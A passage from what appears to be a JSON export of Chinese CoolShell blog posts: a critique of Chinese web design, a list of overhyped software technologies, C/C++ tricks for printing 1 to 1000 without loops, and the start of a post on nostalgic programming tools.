    "content": "<html><body><p><a href=\"http://thinkvitamin.com/author/nickjohnson/\" target=\"_blank\">Nick Johnson</a>，一个有12年经验的Web设计师在它的blog里写下了“<a href=\"http://thinkvitamin.com/design/why-is-chinese-web-design-so-bad/\" target=\"_blank\">Why is Chinese Web Design So Bad</a>”，新浪，人人，百度，阿里巴巴，腾讯榜上有名。<strong>其中的观点相当的好，希望所有的中国人都读一下。</strong>我不全文翻译了，只是给大家看一些摘要。（保证不会像《环球时报》一样）</p>\n<p>——————————</p>\n<p>作者2005年的夏天来到中国，他说，他注意到了中国那复杂的文化和西方的有多么的不同。比如，语言，身体特征，政府的执政理念，等等，但是，有一些地方确是差别很少的，比如：幽默的sense，还有对艺术的表现形式的兴趣。很快，因为职业，他发现在中国的网站设计上完全没有引吸到他。于是他开始让身边的中国朋友尽可能多的给他推荐中国的网站，他觉得这个可以对他学习Web Design有帮助。</p>\n<p>当他在评论起新浪，人人，百度，阿里巴巴，腾讯的时候，他说，百度和其它的不同，因为百度悍然地公开抄袭Google的Web Design（blatantly copied their design from Google），而人人则是很明显地抄袭facebook（clearly copied their design from Facebook）。而其它的多数的中国网站看上去有很多很多滑稽可笑的文本，一些网站在滥用图片，一些网站图片又不够。他感到很困扰，这样的网站都能被接受？这么多的东西，网民怎么可能看得过来啊？中国人怎么可能容忍这些。（注：他不知道我们中国人能承受的比这更多）</p>\n<p><span id=\"more-3605\"></span></p>\n<p>他说，更夸张的是，中国的网站上会有很多的动画，弹窗，幻灯片，感觉中国的设计师不是在设计，是在实践，还是实践那些很坏的设计理念，而些东西都是西方的设计师努力努力避免的。作者感到回到了1995年。</p>\n<p>作者说，作为一个傲慢自大的西方人，他的第一反应是——“哦，这是一个发展中国家，简单来说，还不能赶上我们”，当然，这有可能，因为Web Design和艺术表现也有个发展过程的，当<strong>前的中国也许正处于“结构设计”时期</strong>。作者个人认为的另一个可能是，中国的Web设计者们培养环境的问题——<strong>中国的教育培养是说教和影响的方式，而不是持续的自然的艺术的进化</strong>。艺术进化的根是文化培养，但是更应该是自然的，自由地进化。</p>\n<p>作者在说他为什么这么认为的原因时，提到了他花了些时间去了下中国的大学看看这些大学在教什么。他发现，<strong>中国的学生只是去记忆东西而不是真正的理解</strong>。<strong>他们从来不花时间去思考，而只是贪婪地去获取更多的信息</strong>。这和西方的教育完全的不同。（注：在这种教育体系下产生了像人人同抄袭和像新浪一样的满是信息的网页）作者继续说，在西方，他们一般用的都是“启发式”的东西，需要给人一种“啊，这样啊”的瞬间，这叫交互。而中国则不是，他们是先展示数据。中国的网站基本上是数据查询网站，就像把把信息注入到大脑中一样，没有过多的交互。</p>\n<p>另一个中国的文化是——这个民族真是很不直接，不像美国，在中国如果有人一针见血的表达观点是很不舒服的事。和中国人谈话需要拐很多弯。然而，对于西方人来说，模糊的表达才是让人很不舒服的。但是中国人都很接受这样的沟通方式。这也是中国网页设计成这个样子的一个原因。</p>\n<p>——————————————</p>\n<p>我觉得作者的话说的很中肯。然而，作者的这篇博文后面很多回复，你都可以去看看。那些回复中，我看到的是那些“不服输”的中国人（这是不是我们从小那种“争第一”的教育培养出来人呢？）。</p>\n<p>看完以后，我觉得让我思考的已经不是网页设计了，而是我们的教育和文化。</p>\n<p><strong>你呢？是在反思呢，还是准备去作者的 blog上debate呢？</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17737.html\"><img alt=\"AWS 的 S3 故障回顾和思考\" height=\"150\" src=\"../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17680.html\"><img alt=\"从Gitlab误删除数据库想到的\" height=\"150\" src=\"../wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3605.html\">为什么中国的网页设计那么烂？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-28 那些炒作过度的技术和概念.html",
    "content": "<html><body><p><a href=\"http://stackexchange.com\" target=\"_blank\">StackExchange.com</a>上有一个<a href=\"http://programmers.stackexchange.com/questions/38505/most-overhyped-software-engineering-technologies-and-concepts-of-the-last-20-year\" target=\"_blank\">贴子</a>在评论着最近20年来被炒作过度的技术，对于出现的结果，大多数赞同，也有一些不赞同。下面我从前15名挑了10个（Java的WORE我去掉了，TDD我也去掉了，因为我觉得他们应该没有炒作过度，而且都不错），按原贴的顺序罗列如下：（后面的一些评论是我加的，欢迎大家讨论）</p>\n<h4>Top 10 过度炒作的技术和概念</h4>\n<ul>\n<li><strong>Unified Modeling Language (UML)</strong> – UML是一个程序员交流想法的不错的工具，但是他离程序员真正需要的设计工具还差得很远，比如：设计是否符合需求、架构设计、数据流等等。只有为数不多的程序员使用这个工具交流想法，而没有用在具体工作中。</li>\n</ul>\n<ul>\n<li><strong>Sharepoint </strong>– 现在N多的公司都在用微软的这个东西做公司内部的Intranet。不过安装和维护起来，代价相当的大。但是其市场做的很成功，不对技术上来说对技术人员来说，相当的蹩脚。Sharepoint的设计没有认真地分析过业务流程，仅仅是一个文档存储地。看上去我们似乎可以做任何的事，但是如果你要用其来管理你的项目和track你的项目问题，你会发现其是无比的难用。</li>\n</ul>\n<ul>\n<li><strong>eXtensible Mark-up Language (XML)</strong> –  XML嘛，以前说过很多了（<a href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\">XML1</a>，<a href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\"> XML2</a>）我们用他来做和程序数据封装，用来做配置文件，用来做网络传输格式。我们的程序处理起XML来，又慢，又不经济，没有工具，几乎无法维护XML文件。XML用来做数据封包真是很不经济，Yaml和JSON那个不比它简单？用XML来做程序配置文件不知道是谁想出来的主意，相当的愚蠢，看看Unix/Linux下的配置文件，简单易读，相当容易维护。真是高科技啊。</li>\n</ul>\n<ul>\n<li><strong>SOAP, XML-RPC, WSDL 的 Web Services</strong> – 这个东西前几年炒的很凶。所有人都相信，这是程序员的未来。可惜的，其中的复杂和不一致，相当的令人恶心。<a href=\"https://coolshell.cn/articles/3585.html\" target=\"_blank\">SOAP的那个S居然还是Simple</a>！看来，扯上XML的都不会是什么好的东东。不过，个人认为，CORBA比他更恶。</li>\n</ul>\n<p><span id=\"more-3609\"></span></p>\n<ul>\n<li><strong>CORBA </strong>– 作为一个比其更恶的更过度炒作的COM技术的Linux/Unix下的补充技术，这个技术也好不到哪里去。相当的复杂，从理论上开始就是这样了。这是一个没有经过实践就搞出来的一个东西。然后开始炒作。</li>\n</ul>\n<ul>\n<li><strong>Cloud Computing</strong> – 这是一个靠炒作出现的东西。这个东西也就是说，我们可以使用不同的调备，比如电脑，平板电脑，手机，移动设备随时随地做想做的事。Google的Chrome笔记本的广告展示了这项技术，但是，把工作结果放在云端的人会有多少呢。更多的人更喜欢的是去使用那些自己可以控制的电脑或平台。Google在这点上做的明显不如Amazon，像Amazon EC2平台，你可以在世界上任何一个角落随时随地的去启动你那台远程的系统。（<strong><span style=\"color: #800000;\"><em>更新（2011/1/29）</em></span></strong>：<span style=\"color: #808080;\">解释一下，关于云计算，在写下这篇文章的时候我本来有点拿不定主意的，后来回顾了一下历史，如COM啊，ActiveX啊，EJB啊，当时感觉都是很强的东西，但是最终也只是被炒作的。云计算，我不知道未来怎么样，从今天来看，这项技术在今天存在炒作的情况——中移动云，阿里云，到处都是云，在云面前，神马都是浮云了。</span>）</li>\n</ul>\n<ul>\n<li><strong>SOA – Service Oriented Architecture</strong> – 这是一个没有人真正知道是什么玩意的概念。炒作了很多年，很多人都试图去了解它，但最后的结果是打个哈欠，看别的东西去了。现在没有人提了。中国一些银行在IBM的鼓动下搞了很多所谓的SOA应用，结果是系统很复杂，当然，也再离不开IBM了。</li>\n</ul>\n<ul>\n<li><strong>Software Industrial Process</strong> – 软件开发中有很多所谓的工业界的流程，用这些流程好像可以控制质量。外包公司和中国的本土公司很喜欢这些东西，比如ISO和CMMi，这些流程不能说不好，也有好的地方，尤其是对那些不会思考只要跟从的Worker来说。这些工业界流程中炒作过度的是，那些所谓的使用这些流程可以预测项目周期，质量控制，以前需求开发和管理等东西。其让流程上升到了一种神学的可预言的地步，同样也上升到了政治的地步。因为，这些流程中都必然会有SQA 的Audit的流程，还有统计和报告的流程，这些统统不是软件开发的流程，但是的确是相当的政治。使用这些工业届标准流程的公司，通常都是一些创造性有问题的公司。</li>\n</ul>\n<ul>\n<li><strong>Agile Software Development – 敏捷开发</strong>。首先，我承认其中的很多实践相当有效，在理论上也不错，还有很多不错方法的。不过，还是有炒作的成分（<span style=\"color: #008000;\"><strong>下面的言论，我等着被骂</strong></span>）对我来说，在中国，“敏捷开发”的炒作简直就像是一个电视购物，ThoughtWorks中国各种咨询师们软件开发经验其实并不丰富，准确来说，他们有的是咨询经验，而没有具体项目实施经验（有的咨询师甚至都没有写过一行代码就去学教人怎么编程和开发软件了），和他们沟通起来能够感到他们对敏捷很亢奋，而且是唯敏捷主义，就差打出Once Process，One Agile的口号了，他们信仰敏捷流程的已经接近宗教信仰，他们的精神世界很朝鲜。因为，无论你和他们的咨询师谈什么，他们只说敏捷，从来不会分析一下，项目的特性是什么？开发这个项目的人的风格是什么？客户的特性是什么？有没有关心软件的stakeholder们（如：程序员，测试人员，客户，管理人员）是怎么想的？而XP和SCRUM也就成了Push工程师最强大的工具。<strong><span style=\"color: #800000;\">流程这个东西，应该是项目组自发出来的东西，而不是被 灌输，被教条使用的东西。不同的团队、不同的项目、不同的人，不同的风格就是不同的流程，只有去使用适合自己的流程才是最好的流程</span></strong>。<strong>打个比方，足球队中，巴西队玩的是个人艺术足球，德国队玩的是整体和纪律性足球，意大利玩的是防守型足球，但是他们都有夺世界杯冠军的实力，如果你硬要让巴西队去整德国队或是意大利队的风格，那就悲剧了</strong>。很显然，ThoughtWorks很像把全中国的软件公司都整成Agile的，这注定了其在中国是杯具的，也只能争取到那些不知所措的公司和项目，没有合适的项目，也只有靠各种炒作（比如整一些大会，搞一些宣传）。他们总是觉得中国的用户和程序员需要去用时间不停地教育，但是，他们从来没有想想自己的原因 — 靠教育和灌输是永远赢不了的。<strong>我给他们的个人建议是，不要以为世界就像你所想像的那样，学会尊重程序员和项目还有很多非技术的东西，多听听程序员和客户怎么说，多分析一下项目的特质，从实际情况出发，而不是自己涛涛不绝地<strong>向大家</strong>灌输自己的理论</strong>。</li>\n</ul>\n<ul>\n<li><strong>Object-Oriented Programming (OOP</strong>) – 不多说了，以前本站说过了，所有的一切都在<a href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\">面向对象是个骗局</a>一文中。不过有一点我想告诉大家，面向对象的Design Pattern真是被滥用了，Design Pattern教你的是两件事，1）怎么去化繁为简，2）怎么能让对象的耦合性降低。而不是一个公式让你的套，但，更多的程序员则学会了“<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">流行的设计模式编程</a>”。</li>\n</ul>\n<h4>附：下构面是我拿不定是否是过度炒作的技术</h4>\n<p><strong>Write Once Run Anywhere </strong>– 这个有点让我不解，不知道为什么会那么靠前。这是Java的口号，我觉得Java在跨平台方面还是成功的，没有过度炒作啊。用虚拟机的确是做到了这一点，对于那些需要有不同的硬件和操作系统平台并不断升级和更换它们的公司来说，这的确是个很不错的解决平台依赖性的方案。我个感觉这个技术并没有炒作过头，至少在Java这边是这样的。与其说这个，还不如说EJB，这才是炒作过度的技术。</p>\n<p>[<span style=\"color: #000080;\">更新 2011/02/13</span>]下面的回复，在我形成这篇文章的时候我没有想过，经ming同学一说，我觉得似乎有些道理。</p>\n<blockquote cite=\"#commentbody-29425\"><p><strong><a href=\"https://coolshell.cn/articles/3609.html/comment-page-1#comment-29425\" rel=\"nofollow\">ming</a> :</strong></p>\n<p>我从一开始就觉得java的“Write Once Run Anywhere”是彻头彻尾的炒作。</p>\n<p>想想，所谓的跨平台无非就是依靠虚拟机、解释器之类的东西实现的，那么，哪个脚本语言不是依靠解释器呢？古老的perl已经跨平台了。当然，跨平台的语言还有很多。但是，只有java炒作这个概念。</p></blockquote>\n<p><strong>Test Driven Design (TDD)</strong> – 从测试案例开始写程序这可能是很多程序员都不习惯的方法。其实这是一种比较好的编程方法，保证了代码怎么改动都不会break其它没有改动的代码，代码可以在一种持续集成中保证质量。但是，我们需要知道TDD的一些副作用（在<a href=\"https://coolshell.cn/articles/2424.html\" title=\"十条不错的编程观点 \">十条不错的编程观点</a>里也提到过TDD的弊端）：1）TDD可能会让程序员敷衍了事，以为test case 没有错就正确了。2）TDD可能会让你忽略了软件设计和架构以及程序的扩展性和重用性。T<strong>DD只是一种方法，并不是程序的核心</strong>。当然，TDD近几年的炒作也有点过头，已经出现了“TDD是一种Design方法”等“神乎其技”的论调，我对此表示质疑中。</p>\n<p>[更新 2011/02/13] 关于TDD，请参看我另一篇文章《<a href=\"https://coolshell.cn/articles/3649.html\" rel=\"bookmark\" target=\"_blank\">TDD并不是看上去的那么美</a>》</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-1-7 输出从1到1000的数.html",
    "content": "<html><body><p>有这样一个面试题——<strong>请把从1到1000的数打印出来，但你不能使用任何的循环语句或是条件语句。更不能写1000个printf或是cout</strong>。<strong>用C/C++语言</strong>。</p>\n<p>我相信，大多数人一开始你可能想到的是递归算法：</p>\n<pre class=\"EnlighterJSRAW\">\nvoid f(int n){\n    printf(\"%d\\n\",n);\n    (1000-n) ? f(n+1) : exit(0) ;\n}\nint main(){\n    f(1);\n}\n</pre>\n<p>当然，题目中说了不能使用条件语句，所以，上面那种解法的不符合题意的，因为还是变向地使用了条件表达式。不过，我们可以用别的方法来让这个递归终止，比如：</p>\n<p>除以零，当程序crash，呵呵。</p>\n<pre class=\"EnlighterJSRAW\">void f(int n){\n    printf(\"%d\\n\",n);\n    n/(1000-n);\n    f(n+1);\n}</pre>\n<p>还有这样退出递归的：</p>\n<p><span id=\"more-3445\"></span></p>\n<pre class=\"EnlighterJSRAW\">\nvoid yesprint(int i);\nvoid noprint(int i);\n\ntypedef void(*fnPtr)(int);\nfnPtr dispatch[] = { yesprint, noprint };\n\nvoid yesprint(int i) {\n    printf(\"%d\\n\", i);\n    dispatch[i / 1000](i + 1);\n}\n\nvoid noprint(int i) { /* do nothing. */ }\n\nint main() {\n      yesprint(1);\n}\n</pre>\n<p>还有下面这些各种各样的解法：</p>\n<pre class=\"EnlighterJSRAW\">#include&lt;stdio.h&gt;\n\n/* prints number  i */\nvoid print1(int i) {\n    printf(\"%d\\n\",i);\n}\n\n/* prints 10 numbers starting from i */\nvoid print10(int i) {\n    print1(i);\n    print1(i+1);\n    print1(i+2);\n    print1(i+3);\n    print1(i+4);\n    print1(i+5);\n    print1(i+6);\n    print1(i+7);\n    print1(i+8);\n    print1(i+9);\n}\n\n/* prints 100 numbers starting from i */\nvoid print100(int i) {\n    print10(i);\n    print10(i+10);\n    print10(i+20);\n    print10(i+30);\n    print10(i+40);\n    print10(i+50);\n    print10(i+60);\n    print10(i+70);\n    print10(i+80);\n    print10(i+90);\n}\n\n/* prints 1000 numbers starting from i */\nvoid print1000(int i) {\n    print100(i);\n    print100(i+100);\n    print100(i+200);\n    print100(i+300);\n    print100(i+400);\n    print100(i+500);\n    print100(i+600);\n    print100(i+700);\n    print100(i+800);\n    print100(i+900);\n}\n\nint main() {\n        print1000(1);\n        return 0;\n}</pre>\n<p>不过，print用得多了一些。我们可以用宏嘛。</p>\n<pre class=\"EnlighterJSRAW\">#include&lt;stdio.h&gt;\n#define Out(i)       printf(\"%d\\n\", i++);\n#define REP(N)       N N N N N N N N N N\n#define Out1000(i)   REP(REP(REP(Out(i))));\nvoid main()\n{\n    int i = 1;\n    Out1000(i);\n}</pre>\n<p>不过，我们应该使用C++的一些特性，比如：</p>\n<p>使用构造函数</p>\n<pre class=\"EnlighterJSRAW\">\nclass Printer\n{\npublic:\n    Printer() { static unsigned i=1; cout &lt;&lt; i++ &lt;&lt; endl;; }\n\n};\n\nint main()\n{\n    Printer p[1000];\n}\n</pre>\n<p>或是更为NB的Template：</p>\n<pre class=\"EnlighterJSRAW\">template&lt;int N&gt;\nstruct NumberGeneration{\n    static void out(std::ostream&amp; os)\n    {\n        NumberGeneration&lt;N-1&gt;::out(os);\n        os &lt;&lt; N &lt;&lt; std::endl;\n    }\n};\n\ntemplate&lt;&gt;\nstruct NumberGeneration&lt;1&gt;{\n    static void out(std::ostream&amp; os)\n    {\n        os &lt;&lt; 1 &lt;&lt; std::endl;\n    }\n};\n\nint main(){\n    NumberGeneration&lt;1000&gt;::out(std::cout);\n}</pre>\n<p>最后来个BT一点的：</p>\n<pre class=\"EnlighterJSRAW\">\nvoid main(int j) {\n    printf(\"%d\\n\", j);\n    (main + (exit - main)*(j/1000))(j+1);\n}\n</pre>\n<p>本文来自: <a href=\"http://stackoverflow.com/q/4568645/89806\" target=\"_blank\">http://stackoverflow.com/q/4568645/89806</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10478.html\"><img alt=\"C++面试中string类的一种正确写法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-10-14 那些曾伴我走过编程之路的软件.html",
    "content": "<html><body><p>收家的时候发现了一张VC++6.0的光盘，实然引发了我的怀旧情结。于是在<a href=\"http://weibo.com/1401880315/xsBMcbMVz\" target=\"_blank\">微博上感叹了一下</a>，看到一些朋友的回应，还有朋友提到了Turbo C 2.0，于是更回放大了我的怀旧情绪，让我回想了很多N年前伴我走过编程之路的软件。现在看下来，有些感叹，又有些可笑。感叹的是技术发展的变迁，可笑的是当时的一些想法。（Unix/Linux是在大四和毕业的时候接触的，虽然这是我的强项，但是这下面的编程这么多年来没什么变化，所以就不提了）<strong>注：图片较多，请稍等。</strong></p>\n<p>还记得第一次接触编程是在高中的时候，用中华学习机学Basic程序，后来到了大学，虽然学校的课程没有教Basic语言，但是DOS下有一个叫Quick Baisc的东西让我把高中时的知识又捡了回了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5578\" height=\"338\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE.png\" title=\"那些曾伴我走过编程之路的软件\" width=\"652\"/></p>\n<p style=\"text-align: left;\">大学里学的第一门语言是Pascal，所以，用的编程软件也就是Turbo Pascal，还记编译起来巨快无比，尤其是那个只有软盘和640K的基本内存的时代。</p>\n<p style=\"text-align: left;\"><span id=\"more-5576\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"316\" src=\"../wp-content/uploads/2011/10/05.turbo_.pascal.gif\" title=\"那些曾伴我走过编程之路的软件\" width=\"559\"/></p>\n<p style=\"text-align: left;\">在这里还需要提一点的是当时的一个学习打字指法的软件，TT，呵呵。还记得当时整日整夜的去机房练打字，练指法速度。还记得当时能打到38分就算是相当的NB了。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"336\" src=\"../wp-content/uploads/2011/10/19.tt01.png\" title=\"那些曾伴我走过编程之路的软件\" width=\"605\"/></p>\n<p style=\"text-align: left;\">这是当时TT中的一个游戏，很好玩。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"336\" src=\"../wp-content/uploads/2011/10/19.tt02.png\" title=\"那些曾伴我走过编程之路的软件\" width=\"605\"/></p>\n<p style=\"text-align: left;\">然后开始学C语言，于是Turbo C 2.0成为了那个时代的经典，我还记得当时学校里的386电脑没有内存，没有硬盘，只有两个软驱，一个是3寸的，一个是5寸，而Turbo2.0的大小太大（2M多）所以，得把所有的头文件和lib文件放在3寸盘上，而主程序员放在5寸盘上，A盘和B盘同时来编译我的C程序，编译的时候，那叫一个慢啊，那是一个听着软驱咯吱咯吱的声音的时代。</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"300\" src=\"../wp-content/uploads/2011/10/04.turbo_.c.2.0.png\" width=\"576\"/></p>\n<p style=\"text-align: left;\">后来，用Turbo C 的图形库在DOS下画各种菜单，按钮，被支持鼠标等等，非常欢乐。（注：那时能写一个支持鼠标的程序是相当拉风的）</p>\n<p style=\"text-align: center;\"><img alt=\"\" height=\"314\" src=\"../wp-content/uploads/2011/10/04.turbo_.c.png\" title=\"那些曾伴我走过编程之路的软件\" width=\"511\"/></p>\n<p style=\"text-align: left;\">当时，Turbo C还是不足开发企业级应用，企业级的MIS系统需要数据库的支持，Foxbase是当时在学校里学的第一个和数据库有关的东西，现在完全忘 了。我还记得foxbase是当时计算机水平考试里的一个很重要的一环。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter size-full wp-image-5579\" height=\"365\" src=\"../wp-content/uploads/2011/10/01.foxbase.jpg\" title=\"那些曾伴我走过编程之路的软件\" width=\"500\"/></p>\n<p style=\"text-align: 